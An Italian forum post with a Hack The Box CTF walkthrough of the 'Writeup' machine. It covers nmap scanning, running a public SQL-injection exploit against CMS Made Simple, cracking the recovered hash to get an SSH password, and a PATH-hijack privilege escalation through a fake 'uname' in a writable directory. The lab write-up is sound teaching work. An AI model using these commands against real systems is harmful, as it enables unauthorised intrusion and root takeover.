Discussione HTB Writeups 0x01 - Writeup

0xbro

Super Moderatore
24 Febbraio 2017
4,464
179
3,757
1,825
Ciao a tutti!
Inizio questa serie di tutorials/writeup per avvicinare gli utenti di IF appassionati di penetration testing al mondo delle CTF, con lo scopo di spiegare e dimostrare quali siano i ragionamenti e i procedimenti che generalmente si adottano; e perchè no confrontarmi con i più esperti per ricevere consigli o magari risolvere dubbi/blocchi su cui ci si è soffermati.

Aggiungerò col tempo i link alle guide complete su github, in inglese, (purtroppo sul forum si possono caricare solamente 10 foto, che talvolta non bastano per aiutarsi nel spiegare un'intera CTF) e i link ai video su YT in italiano in cui le risolvo live, in modo tale da poter spiegare un po' più nel dettaglio i vari procedimenti. :)

HTB Writeups 0x01 - Writeup (4.5/10)
In questo primo writeup affronteremo proprio l'omonima macchina Writeup (IP 10.10.10.138).
Si presenta come una macchina di difficoltà 4.5, quindi relativamente facile e adatta ai novizi.

Iniziamo la nostra avventura con un classico scan di nmap, in modo da determinare le porte aperte e i servizi che ci girano dietro:
Bash:
$ nmap -A 10.10.10.138
Ho specificato solo il parametro -A in quanto essendo una CTF non ho particolari necessità di anonimato o restrizioni varie, quindi per avere un quadro generale della situazione mi basta questo.

Otterremo il seguente risutato:
Screenshot from 2019-07-10 22-03-08.png


Possiamo notare come ci siano due porte aperte:
porta 22: utilizzata per il servizio SSH. La versione di OpenSSH utilizzata non risulta avere vulnerabilità note, quindi avrà il solo scopo di permetterci di collegarci alla macchina una volta ottenuta la password.
porta 80: utilizzata per ospitare il web server. Notiamo subito che presenta un file robots.txt e una directory chiamata /writeup/ . Direi che è il caso di andare a controllare il sito web e vedere cosa ci attende!

Visitando l'indirizzo IP della macchina sulla porta 80 troveremo una homepage con un floppy disegnato e un hint. L'autore della macchina ci dirà che il sito non è ancora online e che è già sotto attacco, per cui è stato implementato un IPS (sistema per bloccare minacce e attacchi) per cercare di proteggerlo.
ATTENZIONE: Questo blocco ci impedisce quindi di utilizzare tools come Dirbuster e Dirb per eseguire enumerazioni basate sul bruteforce per ottenere pagine e cartelle del sito.

Non potendo procedere con l'enumerazione del sito, proviamo a visitare il file /robots.txt, identificato da nmap, che spesso contiene informazioni utili per capire l'infrastruttura del sito.
Purtroppo aprendo la pagina non otterremo nient'altro che la stessa informazione ottenuta da nmap, cioè la presenza della directory /writeup/ . Beh, almeno abbiamo ancora una strada da seguire!
Visitiamo dunque l'indirizzo http://10.10.10.138/writeup per trovare un abbozzo di sito web, ancora in costruzione, di writeup di vecchie macchine di HTB.
Essendo che il sito web è ancora in costruzione, quasi sicuramente conterrà commenti nel sorgente delle pagine!
Analizziamo quindi tutti i sorgenti alla ricerca di qualche informazione utile.
Screenshot from 2019-07-10 22-05-06.png


Bingo!
Come si può vedere dal testo evidenziato nella foto, abbiamo trovato che il sito è stato creato utilizzando un Content Management System (un sistema per creare siti web più velocemente): CMS Made Simple.
NB: La stessa informazione può essere ricavata utilizzando il plugin per browser Wappalyzer.

Ora che abbiamo ampliato la superficie d'attacco, possiamo cercare se esistano vulnerabilità note per questo CMS.
Rechiamoci nel nostro amato terminale e lanciamo searchsploit:
Bash:
$ searchsploit 'cms made simple'
Il risultato che otterremo sarà simile a questo:
Codice:
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title                                                                                                                                                            |  Path
                                                                                                                                                                          | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Execution (Metasploit)                                                                                        | exploits/php/remote/46627.rb
CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion                                                                                                                   | exploits/php/webapps/26217.html
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting                                                                                                                   | exploits/php/webapps/26298.txt
CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting                                                                                                                | exploits/php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection                                                                                                                    | exploits/php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities                                                                                                   | exploits/php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vulnerabilities                                                                                                                         | exploits/php/webapps/43889.txt
CMS Made Simple 1.2 - Remote Code Execution                                                                                                                               | exploits/php/webapps/4442.txt
CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection                                                                                                                      | exploits/php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload                                                                                                          | exploits/php/webapps/5600.php
CMS Made Simple 1.4.1 - Local File Inclusion                                                                                                                              | exploits/php/webapps/7285.txt
CMS Made Simple 1.6.2 - Local File Disclosure                                                                                                                             | exploits/php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting                                                                                                       | exploits/php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulnerabilities                                                                                                                          | exploits/php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Request Forgery                                                                                                                          | exploits/php/webapps/12009.html
CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion                                                                                                             | exploits/php/webapps/34299.py
CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery                                                                                                   | exploits/php/webapps/34068.html
CMS Made Simple 2.1.6 - Multiple Vulnerabilities                                                                                                                          | exploits/php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Execution                                                                                                                             | exploits/php/webapps/44192.txt
CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution                                                                                                             | exploits/php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution                                                                                                             | exploits/php/webapps/45793.py
CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning                                                                                                           | exploits/php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injection                                                                                                                                  | exploits/php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload                                                                                                          | exploits/php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload                                                                                                     | exploits/php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload                                                                                            | exploits/php/webapps/46546.py
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Vediamo come la SQL injection (id 46635) sia valida su tutte le versioni precedenti alla 2.2.10 (relativamente nuova). Scarichiamola e proviamo a vedere se può funzionare.
Bash:
$ searchsploit -m 46635
Il parametro -m permette di scaricare il sorgente dell'exploit nella cartella locale. Otterremo quindi un file chiamato 46635.py

Lanciamo l'attacco tramite lo script appena scaricato:
Codice:
$ python 46635.py -u http://10.10.10.138/writeup/
Tramite la SQL injection verranno provate tutte le password possibili. Il risultato sarà:
Screenshot from 2019-07-10 22-19-33.png


62def4866937f08cc13bab43bb14e6f7 è la password, ma come possiamo vedere è hashata. Dobbiamo cercare di ottenere l'originale. Il salt (5a599ef579066807) è una stringa aggiuntiva che viene aggiunta alla password in modo da proteggerla.
Ma come facciamo a decifrare la password?

Analizzando l'exploit vediamo che accetta un secondo parametro, contenente la wordlist che vogliamo utilizzare per craccare la password.
Lanciamo quindi l'exploit con questo nuovo flag:
Bash:
$ python 46635.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt
e otteniamo come output la password crackata
Codice:
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: [email protected]
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Ora che abbiamo la password possiamo loggarci tramite SSH e leggere la flag dell'user
Bash:
$ ssh [email protected]
$ cat /home/jkr/user.txt
d4e493fd4068af...

Bene, abbiamo la prima flag!

Ora arriva il bello. Dobbiamo trovare qualche misconfiguration per eseguire una Privilege Escalation per diventare root e ottenere la seconda flag. Ma da dove partiamo?

Esiste un tool, chiamato LinEnum, utilizzato per l'analisi e la raccolta di informazioni e misconfigurazioni in ambiente linux. Possiamo lanciarlo e controllare l'outuput, ma in questo caso non ci tornerà d'aiuto.

La nostra attenzione si sposta allora su un altro tool, pspy, un programma per monitorare i processi della macchina. Scarichiamolo da github, trasferiamolo tramite SFTP (la password tanto è la stessa di SSH) ed avviamolo sulla macchina.
Screenshot from 2019-07-10 23-18-18.png


Dopo un po' che il programma è in ascolto, vedremo un output simile al seguente:
Screenshot from 2019-07-10 23-22-32.png


Possiamo notare come ad ogni connessione SSH vengano eseguiti questi comandi
Codice:
2019/10/11 10:35:58 CMD: UID=0    PID=2279   | sshd: [accepted]
2019/10/11 10:35:58 CMD: UID=102  PID=2280   | sshd: [net]   
2019/10/11 10:36:00 CMD: UID=0    PID=2281   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new     
2019/10/11 10:36:00 CMD: UID=0    PID=2282   | run-parts --lsbsysinit /etc/update-motd.d
2019/10/11 10:36:00 CMD: UID=0    PID=2283   | /bin/sh /etc/update-motd.d/10-uname
2019/10/11 10:36:00 CMD: UID=0    PID=2284   | /bin/sh /etc/update-motd.d/10-uname
2019/10/11 10:36:00 CMD: UID=0    PID=2285   | sshd: jkr [priv]

Particolarmente interessante è il comando con PID 2281. Guardiamo che cosa faccia:
Bash:
jkr@writeup:~$ cd /etc/update-motd.d
jkr@writeup:/etc/update-motd.d$ ls
10-uname
jkr@writeup:/etc/update-motd.d$ cat 10-uname
#!/bin/sh
uname -rnsom
jkr@writeup:/etc/update-motd.d$ uname -rnsom
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux
Notiamo come il programma esegua un uname, senza indicare il path assoluto del comando (sta quindi utilizzando la variabile d'ambiente $PATH).

PATH al suo interno contiene le seguenti directory:
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin

Guardiamo se qualcuna di queste path ha i permessi di scrittura per il nostro utente
Codice:
jkr@writeup:/home/jkr$ ls -l -d /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin
drwxr-xr-x 2 root root   4096 Apr 19 04:24 /bin
drwxr-xr-x 2 root root   4096 Apr 19 04:14 /sbin
drwxr-xr-x 2 root root  20480 Apr 24 13:13 /usr/bin
drwx-wsr-x 2 root staff 20480 Jul 10 17:27 /usr/local/bin
drwx-wsr-x 2 root staff 12288 Jul 10 17:23 /usr/local/sbin
drwxr-xr-x 2 root root   4096 Apr 19 07:31 /usr/sbin

Ottimo, due directory hanno il permesso di scrittura per il gruppo staff. Vediamo se il nostro utente rientra nel gruppo:
Bash:
jkr@writeup:/home/jkr $ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)

Booom! Abbiamo i permessi di scrittura in due directory contenute nella PATH da cui il programma cerca i binari da eseguire!
Abbiamo visto come lo script esegua il comando uname leggendolo dalla path. Se noi però creiamo un eseguibile con lo stesso nome in una cartella precedente di ordine a quella del comando vero, questo verrà eseguito prima dell'originale, poichè linux scorre tutta le cartelle contenute in $PATH quando deve cercare un eseguibile da lanciare.
In questo modo potremmo far lanciare al programma dei comandi a nostro piacimento con i permessi dello script.

Creiamo allora un file chiamato uname nella cartella dove possiamo scrivere, contenente l'istruzione per stampare a video il flag di root, e diamogli i permessi d'esecuzione. Fatto questo poi usciamo
Codice:
jkr@writeup:/etc/update-motd.d$ echo "cat /root/root.txt" > /usr/local/sbin/uname
jkr@writeup:/etc/update-motd.d$ chmod +x /usr/local/sbin/uname
jkr@writeup:/etc/update-motd.d$ exit

Appena ci loggheremo di nuovo verrà eseguito il nostro script e, subito dopo il banner SSH, verrà stampato il flag di root.
Bash:
root@0xbro:~/Documents/CTF/HTB/Writeup# ssh [email protected]
[email protected]'s password:
eeba47f60b48ef92...

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jul 10 17:35:19 2019 from 10.10.15.117
jkr@writeup:~$

Trovata questa escalation, si può fare in modo di loggarsi come root, di aggiungere un utente con permessi 0 o qualsiasi altra cosa ci passi per la testa.

Abbiamo ownato la macchina!

Spero che il writeup sia stato chiaro, per qualsiasi domanda o dubbio non esitate a contattarmi o ancora meglio a postarlo nella discussione in modo da discuterne tutti assieme.

Buono studio e buon divertimento!

Autore: 0xbro
Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.
 
  • Mi piace
Reazioni: _Nymph_